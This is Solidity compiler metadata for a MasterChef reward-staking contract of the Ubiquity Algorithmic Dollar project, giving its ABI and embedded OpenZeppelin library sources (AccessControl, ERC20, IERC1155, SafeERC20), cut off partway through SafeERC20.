"{\"compiler\":{\"version\":\"0.8.3+commit.8d00100c\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_manager\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"user\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"Deposit\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"user\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"Withdraw\",\"type\":\"event\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"_amount\",\"type\":\"uint256\"},{\"internalType\":\"address\",\"name\":\"sender\",\"type\":\"address\"}],\"name\":\"deposit\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getRewards\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"lastPrice\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"manager\",\"outputs\":[{\"internalType\":\"contract UbiquityAlgorithmicDollarManager\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"minPriceDiffToUpdateMultiplier\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_user\",\"type\":\"address\"}],\"name\":\"pendingUGOV\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"pool\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"lastRewardBlock\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"accuGOVPerShare\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"_minPriceDiffToUpdateMultiplier\",\"type\":\"uint256\"}],\"name\":\"setMinPriceDiffToUpdateMultiplier\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"_uGOVPerBlock\",\"type\":\"uint256\"}],\"name\":\"setUGOVPerBlock\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"uGOVPerBlock\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"uGOVmultiplier\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"name\":\"userInfo\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"rewardDebt\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"_amount\",\"type\":\"uint256\"},{\"internalType\":\"address\",\"name\":\"sender\",\"type\":\"address\"}],\"name\":\"withdraw\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{\"getRewards()\":{\"details\":\"get pending uGOV rewards from MasterChef.\",\"returns\":{\"_0\":\"amount of pending rewards transfered to msg.sender\"}}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{\"getRewards()\":{\"notice\":\"only send pending rewards\"}},\"version\":1}},\"settings\":{\"compilationTarget\":{\"contracts/MasterChef.sol\":\"MasterChef\"},\"evmVersion\":\"istanbul\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"none\",\"useLiteralContent\":true},\"optimizer\":{\"enabled\":true,\"runs\":800},\"remappings\":[]},\"sources\":{\"@openzeppelin/contracts/access/AccessControl.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../utils/Context.sol\\\";\\nimport \\\"../utils/Strings.sol\\\";\\nimport \\\"../utils/introspection/ERC165.sol\\\";\\n\\n/**\\n * @dev External interface of AccessControl declared to support ERC165 detection.\\n */\\ninterface IAccessControl {\\n function hasRole(bytes32 role, address account) external view returns (bool);\\n function getRoleAdmin(bytes32 role) external view returns (bytes32);\\n function grantRole(bytes32 role, address account) external;\\n function revokeRole(bytes32 role, address account) external;\\n function renounceRole(bytes32 role, address account) external;\\n}\\n\\n/**\\n * @dev Contract module that allows children to implement role-based access\\n * control mechanisms. This is a lightweight version that doesn't allow enumerating role\\n * members except through off-chain means by accessing the contract event logs. Some\\n * applications may benefit from on-chain enumerability, for those cases see\\n * {AccessControlEnumerable}.\\n *\\n * Roles are referred to by their `bytes32` identifier. These should be exposed\\n * in the external API and be unique. The best way to achieve this is by\\n * using `public constant` hash digests:\\n *\\n * ```\\n * bytes32 public constant MY_ROLE = keccak256(\\\"MY_ROLE\\\");\\n * ```\\n *\\n * Roles can be used to represent a set of permissions. To restrict access to a\\n * function call, use {hasRole}:\\n *\\n * ```\\n * function foo() public {\\n * require(hasRole(MY_ROLE, msg.sender));\\n * ...\\n * }\\n * ```\\n *\\n * Roles can be granted and revoked dynamically via the {grantRole} and\\n * {revokeRole} functions. Each role has an associated admin role, and only\\n * accounts that have a role's admin role can call {grantRole} and {revokeRole}.\\n *\\n * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means\\n * that only accounts with this role will be able to grant or revoke other\\n * roles. More complex role relationships can be created by using\\n * {_setRoleAdmin}.\\n *\\n * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to\\n * grant and revoke this role. Extra precautions should be taken to secure\\n * accounts that have been granted it.\\n */\\nabstract contract AccessControl is Context, IAccessControl, ERC165 {\\n struct RoleData {\\n mapping (address => bool) members;\\n bytes32 adminRole;\\n }\\n\\n mapping (bytes32 => RoleData) private _roles;\\n\\n bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;\\n\\n /**\\n * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`\\n *\\n * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite\\n * {RoleAdminChanged} not being emitted signaling this.\\n *\\n * _Available since v3.1._\\n */\\n event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);\\n\\n /**\\n * @dev Emitted when `account` is granted `role`.\\n *\\n * `sender` is the account that originated the contract call, an admin role\\n * bearer except when using {_setupRole}.\\n */\\n event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);\\n\\n /**\\n * @dev Emitted when `account` is revoked `role`.\\n *\\n * `sender` is the account that originated the contract call:\\n * - if using `revokeRole`, it is the admin role bearer\\n * - if using `renounceRole`, it is the role bearer (i.e. `account`)\\n */\\n event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);\\n\\n /**\\n * @dev Modifier that checks that an account has a specific role. Reverts\\n * with a standardized message including the required role.\\n *\\n * The format of the revert reason is given by the following regular expression:\\n *\\n * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/\\n *\\n * _Available since v4.1._\\n */\\n modifier onlyRole(bytes32 role) {\\n _checkRole(role, _msgSender());\\n _;\\n }\\n\\n /**\\n * @dev See {IERC165-supportsInterface}.\\n */\\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\\n return interfaceId == type(IAccessControl).interfaceId\\n || super.supportsInterface(interfaceId);\\n }\\n\\n /**\\n * @dev Returns `true` if `account` has been granted `role`.\\n */\\n function hasRole(bytes32 role, address account) public view override returns (bool) {\\n return _roles[role].members[account];\\n }\\n\\n /**\\n * @dev Revert with a standard message if `account` is missing `role`.\\n *\\n * The format of the revert reason is given by the following regular expression:\\n *\\n * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/\\n */\\n function _checkRole(bytes32 role, address account) internal view {\\n if(!hasRole(role, account)) {\\n revert(string(abi.encodePacked(\\n \\\"AccessControl: account \\\",\\n Strings.toHexString(uint160(account), 20),\\n \\\" is missing role \\\",\\n Strings.toHexString(uint256(role), 32)\\n )));\\n }\\n }\\n\\n /**\\n * @dev Returns the admin role that controls `role`. See {grantRole} and\\n * {revokeRole}.\\n *\\n * To change a role's admin, use {_setRoleAdmin}.\\n */\\n function getRoleAdmin(bytes32 role) public view override returns (bytes32) {\\n return _roles[role].adminRole;\\n }\\n\\n /**\\n * @dev Grants `role` to `account`.\\n *\\n * If `account` had not been already granted `role`, emits a {RoleGranted}\\n * event.\\n *\\n * Requirements:\\n *\\n * - the caller must have ``role``'s admin role.\\n */\\n function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {\\n _grantRole(role, account);\\n }\\n\\n /**\\n * @dev Revokes `role` from `account`.\\n *\\n * If `account` had been granted `role`, emits a {RoleRevoked} event.\\n *\\n * Requirements:\\n *\\n * - the caller must have ``role``'s admin role.\\n */\\n function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {\\n _revokeRole(role, account);\\n }\\n\\n /**\\n * @dev Revokes `role` from the calling account.\\n *\\n * Roles are often managed via {grantRole} and {revokeRole}: this function's\\n * purpose is to provide a mechanism for accounts to lose their privileges\\n * if they are compromised (such as when a trusted device is misplaced).\\n *\\n * If the calling account had been granted `role`, emits a {RoleRevoked}\\n * event.\\n *\\n * Requirements:\\n *\\n * - the caller must be `account`.\\n */\\n function renounceRole(bytes32 role, address account) public virtual override {\\n require(account == _msgSender(), \\\"AccessControl: can only renounce roles for self\\\");\\n\\n _revokeRole(role, account);\\n }\\n\\n /**\\n * @dev Grants `role` to `account`.\\n *\\n * If `account` had not been already granted `role`, emits a {RoleGranted}\\n * event. Note that unlike {grantRole}, this function doesn't perform any\\n * checks on the calling account.\\n *\\n * [WARNING]\\n * ====\\n * This function should only be called from the constructor when setting\\n * up the initial roles for the system.\\n *\\n * Using this function in any other way is effectively circumventing the admin\\n * system imposed by {AccessControl}.\\n * ====\\n */\\n function _setupRole(bytes32 role, address account) internal virtual {\\n _grantRole(role, account);\\n }\\n\\n /**\\n * @dev Sets `adminRole` as ``role``'s admin role.\\n *\\n * Emits a {RoleAdminChanged} event.\\n */\\n function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {\\n emit RoleAdminChanged(role, getRoleAdmin(role), adminRole);\\n _roles[role].adminRole = adminRole;\\n }\\n\\n function _grantRole(bytes32 role, address account) private {\\n if (!hasRole(role, account)) {\\n _roles[role].members[account] = true;\\n emit RoleGranted(role, account, _msgSender());\\n }\\n }\\n\\n function _revokeRole(bytes32 role, address account) private {\\n if (hasRole(role, account)) {\\n _roles[role].members[account] = false;\\n emit RoleRevoked(role, account, _msgSender());\\n }\\n }\\n}\\n\",\"keccak256\":\"0x98fac37221212c8f126f198d262a4df86394bd1a9969f61e40739fe8ac013dd8\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC1155/IERC1155.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../../utils/introspection/IERC165.sol\\\";\\n\\n/**\\n * @dev Required interface of an ERC1155 compliant contract, as defined in the\\n * https://eips.ethereum.org/EIPS/eip-1155[EIP].\\n *\\n * _Available since v3.1._\\n */\\ninterface IERC1155 is IERC165 {\\n /**\\n * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.\\n */\\n event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);\\n\\n /**\\n * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all\\n * transfers.\\n */\\n event TransferBatch(address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values);\\n\\n /**\\n * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to\\n * `approved`.\\n */\\n event ApprovalForAll(address indexed account, address indexed operator, bool approved);\\n\\n /**\\n * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.\\n *\\n * If an {URI} event was emitted for `id`, the standard\\n * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value\\n * returned by {IERC1155MetadataURI-uri}.\\n */\\n event URI(string value, uint256 indexed id);\\n\\n /**\\n * @dev Returns the amount of tokens of token type `id` owned by `account`.\\n *\\n * Requirements:\\n *\\n * - `account` cannot be the zero address.\\n */\\n function balanceOf(address account, uint256 id) external view returns (uint256);\\n\\n /**\\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.\\n *\\n * Requirements:\\n *\\n * - `accounts` and `ids` must have the same length.\\n */\\n function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory);\\n\\n /**\\n * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,\\n *\\n * Emits an {ApprovalForAll} event.\\n *\\n * Requirements:\\n *\\n * - `operator` cannot be the caller.\\n */\\n function setApprovalForAll(address operator, bool approved) external;\\n\\n /**\\n * @dev Returns true if `operator` is approved to transfer ``account``'s tokens.\\n *\\n * See {setApprovalForAll}.\\n */\\n function isApprovedForAll(address account, address operator) external view returns (bool);\\n\\n /**\\n * @dev Transfers `amount` tokens of token type `id` from `from` to `to`.\\n *\\n * Emits a {TransferSingle} event.\\n *\\n * Requirements:\\n *\\n * - `to` cannot be the zero address.\\n * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.\\n * - `from` must have a balance of tokens of type `id` of at least `amount`.\\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the\\n * acceptance magic value.\\n */\\n function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external;\\n\\n /**\\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.\\n *\\n * Emits a {TransferBatch} event.\\n *\\n * Requirements:\\n *\\n * - `ids` and `amounts` must have the same length.\\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the\\n * acceptance magic value.\\n */\\n function safeBatchTransferFrom(address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data) external;\\n}\\n\",\"keccak256\":\"0x249bc2a6d919da5f5145950664134cfcf2f66874bda801fd3b8fb861783da079\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/ERC20.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"./IERC20.sol\\\";\\nimport \\\"./extensions/IERC20Metadata.sol\\\";\\nimport \\\"../../utils/Context.sol\\\";\\n\\n/**\\n * @dev Implementation of the {IERC20} interface.\\n *\\n * This implementation is agnostic to the way tokens are created. This means\\n * that a supply mechanism has to be added in a derived contract using {_mint}.\\n * For a generic mechanism see {ERC20PresetMinterPauser}.\\n *\\n * TIP: For a detailed writeup see our guide\\n * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How\\n * to implement supply mechanisms].\\n *\\n * We have followed general OpenZeppelin guidelines: functions revert instead\\n * of returning `false` on failure. This behavior is nonetheless conventional\\n * and does not conflict with the expectations of ERC20 applications.\\n *\\n * Additionally, an {Approval} event is emitted on calls to {transferFrom}.\\n * This allows applications to reconstruct the allowance for all accounts just\\n * by listening to said events. Other implementations of the EIP may not emit\\n * these events, as it isn't required by the specification.\\n *\\n * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}\\n * functions have been added to mitigate the well-known issues around setting\\n * allowances. See {IERC20-approve}.\\n */\\ncontract ERC20 is Context, IERC20, IERC20Metadata {\\n mapping (address => uint256) private _balances;\\n\\n mapping (address => mapping (address => uint256)) private _allowances;\\n\\n uint256 private _totalSupply;\\n\\n string private _name;\\n string private _symbol;\\n\\n /**\\n * @dev Sets the values for {name} and {symbol}.\\n *\\n * The defaut value of {decimals} is 18. To select a different value for\\n * {decimals} you should overload it.\\n *\\n * All two of these values are immutable: they can only be set once during\\n * construction.\\n */\\n constructor (string memory name_, string memory symbol_) {\\n _name = name_;\\n _symbol = symbol_;\\n }\\n\\n /**\\n * @dev Returns the name of the token.\\n */\\n function name() public view virtual override returns (string memory) {\\n return _name;\\n }\\n\\n /**\\n * @dev Returns the symbol of the token, usually a shorter version of the\\n * name.\\n */\\n function symbol() public view virtual override returns (string memory) {\\n return _symbol;\\n }\\n\\n /**\\n * @dev Returns the number of decimals used to get its user representation.\\n * For example, if `decimals` equals `2`, a balance of `505` tokens should\\n * be displayed to a user as `5,05` (`505 / 10 ** 2`).\\n *\\n * Tokens usually opt for a value of 18, imitating the relationship between\\n * Ether and Wei. This is the value {ERC20} uses, unless this function is\\n * overridden;\\n *\\n * NOTE: This information is only used for _display_ purposes: it in\\n * no way affects any of the arithmetic of the contract, including\\n * {IERC20-balanceOf} and {IERC20-transfer}.\\n */\\n function decimals() public view virtual override returns (uint8) {\\n return 18;\\n }\\n\\n /**\\n * @dev See {IERC20-totalSupply}.\\n */\\n function totalSupply() public view virtual override returns (uint256) {\\n return _totalSupply;\\n }\\n\\n /**\\n * @dev See {IERC20-balanceOf}.\\n */\\n function balanceOf(address account) public view virtual override returns (uint256) {\\n return _balances[account];\\n }\\n\\n /**\\n * @dev See {IERC20-transfer}.\\n *\\n * Requirements:\\n *\\n * - `recipient` cannot be the zero address.\\n * - the caller must have a balance of at least `amount`.\\n */\\n function transfer(address recipient, uint256 amount) public virtual override returns (bool) {\\n _transfer(_msgSender(), recipient, amount);\\n return true;\\n }\\n\\n /**\\n * @dev See {IERC20-allowance}.\\n */\\n function allowance(address owner, address spender) public view virtual override returns (uint256) {\\n return _allowances[owner][spender];\\n }\\n\\n /**\\n * @dev See {IERC20-approve}.\\n *\\n * Requirements:\\n *\\n * - `spender` cannot be the zero address.\\n */\\n function approve(address spender, uint256 amount) public virtual override returns (bool) {\\n _approve(_msgSender(), spender, amount);\\n return true;\\n }\\n\\n /**\\n * @dev See {IERC20-transferFrom}.\\n *\\n * Emits an {Approval} event indicating the updated allowance. This is not\\n * required by the EIP. See the note at the beginning of {ERC20}.\\n *\\n * Requirements:\\n *\\n * - `sender` and `recipient` cannot be the zero address.\\n * - `sender` must have a balance of at least `amount`.\\n * - the caller must have allowance for ``sender``'s tokens of at least\\n * `amount`.\\n */\\n function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {\\n _transfer(sender, recipient, amount);\\n\\n uint256 currentAllowance = _allowances[sender][_msgSender()];\\n require(currentAllowance >= amount, \\\"ERC20: transfer amount exceeds allowance\\\");\\n _approve(sender, _msgSender(), currentAllowance - amount);\\n\\n return true;\\n }\\n\\n /**\\n * @dev Atomically increases the allowance granted to `spender` by the caller.\\n *\\n * This is an alternative to {approve} that can be used as a mitigation for\\n * problems described in {IERC20-approve}.\\n *\\n * Emits an {Approval} event indicating the updated allowance.\\n *\\n * Requirements:\\n *\\n * - `spender` cannot be the zero address.\\n */\\n function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {\\n _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);\\n return true;\\n }\\n\\n /**\\n * @dev Atomically decreases the allowance granted to `spender` by the caller.\\n *\\n * This is an alternative to {approve} that can be used as a mitigation for\\n * problems described in {IERC20-approve}.\\n *\\n * Emits an {Approval} event indicating the updated allowance.\\n *\\n * Requirements:\\n *\\n * - `spender` cannot be the zero address.\\n * - `spender` must have allowance for the caller of at least\\n * `subtractedValue`.\\n */\\n function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {\\n uint256 currentAllowance = _allowances[_msgSender()][spender];\\n require(currentAllowance >= subtractedValue, \\\"ERC20: decreased allowance below zero\\\");\\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\\n\\n return true;\\n }\\n\\n /**\\n * @dev Moves tokens `amount` from `sender` to `recipient`.\\n *\\n * This is internal function is equivalent to {transfer}, and can be used to\\n * e.g. implement automatic token fees, slashing mechanisms, etc.\\n *\\n * Emits a {Transfer} event.\\n *\\n * Requirements:\\n *\\n * - `sender` cannot be the zero address.\\n * - `recipient` cannot be the zero address.\\n * - `sender` must have a balance of at least `amount`.\\n */\\n function _transfer(address sender, address recipient, uint256 amount) internal virtual {\\n require(sender != address(0), \\\"ERC20: transfer from the zero address\\\");\\n require(recipient != address(0), \\\"ERC20: transfer to the zero address\\\");\\n\\n _beforeTokenTransfer(sender, recipient, amount);\\n\\n uint256 senderBalance = _balances[sender];\\n require(senderBalance >= amount, \\\"ERC20: transfer amount exceeds balance\\\");\\n _balances[sender] = senderBalance - amount;\\n _balances[recipient] += amount;\\n\\n emit Transfer(sender, recipient, amount);\\n }\\n\\n /** @dev Creates `amount` tokens and assigns them to `account`, increasing\\n * the total supply.\\n *\\n * Emits a {Transfer} event with `from` set to the zero address.\\n *\\n * Requirements:\\n *\\n * - `to` cannot be the zero address.\\n */\\n function _mint(address account, uint256 amount) internal virtual {\\n require(account != address(0), \\\"ERC20: mint to the zero address\\\");\\n\\n _beforeTokenTransfer(address(0), account, amount);\\n\\n _totalSupply += amount;\\n _balances[account] += amount;\\n emit Transfer(address(0), account, amount);\\n }\\n\\n /**\\n * @dev Destroys `amount` tokens from `account`, reducing the\\n * total supply.\\n *\\n * Emits a {Transfer} event with `to` set to the zero address.\\n *\\n * Requirements:\\n *\\n * - `account` cannot be the zero address.\\n * - `account` must have at least `amount` tokens.\\n */\\n function _burn(address account, uint256 amount) internal virtual {\\n require(account != address(0), \\\"ERC20: burn from the zero address\\\");\\n\\n _beforeTokenTransfer(account, address(0), amount);\\n\\n uint256 accountBalance = _balances[account];\\n require(accountBalance >= amount, \\\"ERC20: burn amount exceeds balance\\\");\\n _balances[account] = accountBalance - amount;\\n _totalSupply -= amount;\\n\\n emit Transfer(account, address(0), amount);\\n }\\n\\n /**\\n * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.\\n *\\n * This internal function is equivalent to `approve`, and can be used to\\n * e.g. set automatic allowances for certain subsystems, etc.\\n *\\n * Emits an {Approval} event.\\n *\\n * Requirements:\\n *\\n * - `owner` cannot be the zero address.\\n * - `spender` cannot be the zero address.\\n */\\n function _approve(address owner, address spender, uint256 amount) internal virtual {\\n require(owner != address(0), \\\"ERC20: approve from the zero address\\\");\\n require(spender != address(0), \\\"ERC20: approve to the zero address\\\");\\n\\n _allowances[owner][spender] = amount;\\n emit Approval(owner, spender, amount);\\n }\\n\\n /**\\n * @dev Hook that is called before any transfer of tokens. This includes\\n * minting and burning.\\n *\\n * Calling conditions:\\n *\\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\\n * will be to transferred to `to`.\\n * - when `from` is zero, `amount` tokens will be minted for `to`.\\n * - when `to` is zero, `amount` of ``from``'s tokens will be burned.\\n * - `from` and `to` are never both zero.\\n *\\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\\n */\\n function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }\\n}\\n\",\"keccak256\":\"0xfeccdcbf67b2006a715e5af1a4c7556004d95b2806552b5cc54e46e8eb7e887b\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/IERC20.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev Interface of the ERC20 standard as defined in the EIP.\\n */\\ninterface IERC20 {\\n /**\\n * @dev Returns the amount of tokens in existence.\\n */\\n function totalSupply() external view returns (uint256);\\n\\n /**\\n * @dev Returns the amount of tokens owned by `account`.\\n */\\n function balanceOf(address account) external view returns (uint256);\\n\\n /**\\n * @dev Moves `amount` tokens from the caller's account to `recipient`.\\n *\\n * Returns a boolean value indicating whether the operation succeeded.\\n *\\n * Emits a {Transfer} event.\\n */\\n function transfer(address recipient, uint256 amount) external returns (bool);\\n\\n /**\\n * @dev Returns the remaining number of tokens that `spender` will be\\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\\n * zero by default.\\n *\\n * This value changes when {approve} or {transferFrom} are called.\\n */\\n function allowance(address owner, address spender) external view returns (uint256);\\n\\n /**\\n * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\\n *\\n * Returns a boolean value indicating whether the operation succeeded.\\n *\\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\\n * that someone may use both the old and the new allowance by unfortunate\\n * transaction ordering. One possible solution to mitigate this race\\n * condition is to first reduce the spender's allowance to 0 and set the\\n * desired value afterwards:\\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\\n *\\n * Emits an {Approval} event.\\n */\\n function approve(address spender, uint256 amount) external returns (bool);\\n\\n /**\\n * @dev Moves `amount` tokens from `sender` to `recipient` using the\\n * allowance mechanism. `amount` is then deducted from the caller's\\n * allowance.\\n *\\n * Returns a boolean value indicating whether the operation succeeded.\\n *\\n * Emits a {Transfer} event.\\n */\\n function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);\\n\\n /**\\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\\n * another (`to`).\\n *\\n * Note that `value` may be zero.\\n */\\n event Transfer(address indexed from, address indexed to, uint256 value);\\n\\n /**\\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\\n * a call to {approve}. `value` is the new allowance.\\n */\\n event Approval(address indexed owner, address indexed spender, uint256 value);\\n}\\n\",\"keccak256\":\"0xf8e8d118a7a8b2e134181f7da655f6266aa3a0f9134b2605747139fcb0c5d835\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../IERC20.sol\\\";\\n\\n/**\\n * @dev Interface for the optional metadata functions from the ERC20 standard.\\n *\\n * _Available since v4.1._\\n */\\ninterface IERC20Metadata is IERC20 {\\n /**\\n * @dev Returns the name of the token.\\n */\\n function name() external view returns (string memory);\\n\\n /**\\n * @dev Returns the symbol of the token.\\n */\\n function symbol() external view returns (string memory);\\n\\n /**\\n * @dev Returns the decimals places of the token.\\n */\\n function decimals() external view returns (uint8);\\n}\\n\",\"keccak256\":\"0x83fe24f5c04a56091e50f4a345ff504c8bff658a76d4c43b16878c8f940c53b2\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../IERC20.sol\\\";\\nimport \\\"../../../utils/Address.sol\\\";\\n\\n/**\\n * @title SafeERC20\\n * @dev Wrappers around ERC20 operations that throw on failure (when the token\\n * contract returns false). Tokens that return no value (and instead revert or\\n * throw on failure) are also supported, non-reverting calls are assumed to be\\n * successful.\\n * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,\\n * which allows you to call the safe operations as `token.safeTransfer(...)`, etc.\\n */\\nlibrary SafeERC20 {\\n using Address for address;\\n\\n function safeTransfer(IERC20 token, address to, uint256 value) internal {\\n _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));\\n }\\n\\n function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {\\n _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));\\n }\\n\\n /**\\n * @dev Deprecated. This function has issues similar to the ones found in\\n * {IERC20-approve}, and its usage is discouraged.\\n *\\n * Whenever possible, use {safeIncreaseAllowance} and\\n * {safeDecreaseAllowance} instead.\\n */\\n function safeApprove(IERC20 token, address spender, uint256 value) internal {\\n // safeApprove should only be called when setting an initial allowance,\\n // or when resetting it to zero. To increase and decrease it, use\\n // 'safeIncreaseAllowance' and 'safeDecreaseAllowance'\\n // solhint-disable-next-line max-line-length\\n require((value == 0) || (token.allowance(address(this), spender) == 0),\\n \\\"SafeERC20: approve from non-zero to non-zero allowance\\\"\\n );\\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));\\n }\\n\\n function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {\\n uint256 newAllowance = token.allowance(address(this), spender) + value;\\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\\n }\\n\\n function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {\\n unchecked {\\n uint256 oldAllowance = token.allowance(address(this), spender);\\n require(oldAllowance >= value, \\\"SafeERC20: decreased allowance below zero\\\");\\n uint256 newAllowance = oldAllowance - value;\\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\\n }\\n }\\n\\n /**\\n * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement\\n * on the return value: the return value is optional (but if data is returned, it must not be false).\\n * @param token The token targeted by the call.\\n * @param data The call data (encoded using abi.encode or one of its variants).\\n */\\n function _callOptionalReturn(IERC20 token, bytes memory data) private {\\n // We need to perform a low level call here, to bypass Solidity's 